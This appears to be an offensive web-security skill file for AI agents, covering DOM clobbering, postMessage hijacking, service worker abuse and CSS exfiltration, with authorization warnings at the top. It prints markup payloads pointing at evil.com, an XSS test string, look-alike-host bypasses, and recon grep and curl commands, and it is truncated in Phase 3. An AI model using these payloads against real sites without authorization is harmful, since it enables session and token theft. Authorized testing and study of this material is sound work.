hunt-dom – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

DOM-based attacks execute in the victim's browser — some sources never reach the server, while others do; assess the actual data path rather than assuming WAF/input filters are irrelevant. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.

Highest-value chains:

• DOM Clobbering → DOM-XSS / auth bypass — HTML *markup* injection (no <script>) overwrites a JS global like window.config or a form named property, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
• PostMessage no origin check → session theft / DOM-XSS — a message handler that trusts event.data without validating event.origin lets an attacker iframe/opener drive privileged actions or feed a sink.
• Service Worker abuse — register a same-origin SW script (reachable because of an authorized same-origin JavaScript upload/path) via stored XSS → intercept all in-scope fetch → persistent credential capture.
• CSS Exfil — attribute-value selectors (input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

Grounding — public research this is distilled from

• DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
• DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
• jQuery htmlPrefilter self-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to .html() / .append() mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
• CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential @import recursion to drop the per-char-position constraint).

> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.

---

Attack Surface Signals

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

---

Phase 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href

// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL TYPE]', k, typeof v);
});

# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.

---

Phase 2 — PostMessage Hijacking

Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null

<!-- Controlled lab with a test account and approved target origin. -->
<iframe id="f" src="https://target.example/test-listener"></iframe>
<script>
const frame = document.getElementById('f');
frame.addEventListener('load', () => {
  frame.contentWindow.postMessage({type: 'test-canary', value: 'DOM-REVIEW-042'},
                                  'https://target.example');
}, {once: true});
addEventListener('message', event => {
  if (event.origin !== 'https://target.example' || event.source !== frame.contentWindow) return;
  console.log('Controlled message received:', typeof event.data); // No secret dump.
});
</script>

This canary alone is not a finding. Trace the actual authorized handler and sink,

then use a harmless marker matched to its schema. Prove impact with controlled

accounts; never send cookies, complete DOM, bearer tokens or messages to a third

party OOB service merely to demonstrate receipt.

> False-positive guard: a handler with a *partial* check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

---

PostMessage initialization assumptions

Browser-dispatched postMessage has its sender origin initialized when the event

is created; it does not later become trustworthy during frame loading. An opaque

origin can serialize as "null"; never treat it as an allowed trusted origin.

Test first-message trust only with a bounded synthetic canary and explicit scope,

not a tight message flood. Validate exact origin, expected event.source and a

bounded message schema together. [HTML messaging standard](https://html.spec.whatwg.org/multipage/web-messaging.html).

Phase 3 — Service Worker Abuse

Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is **no header that enables cross-origin SW *script* registration. Service-Worker-Allowed only widens the scope** a same-origin script may control, not where the script may live.

So the realistic path is: get a SW script onto the target origin (approved file upload that directly serves Java

… (nội dung đầy đủ có trong gói tải về)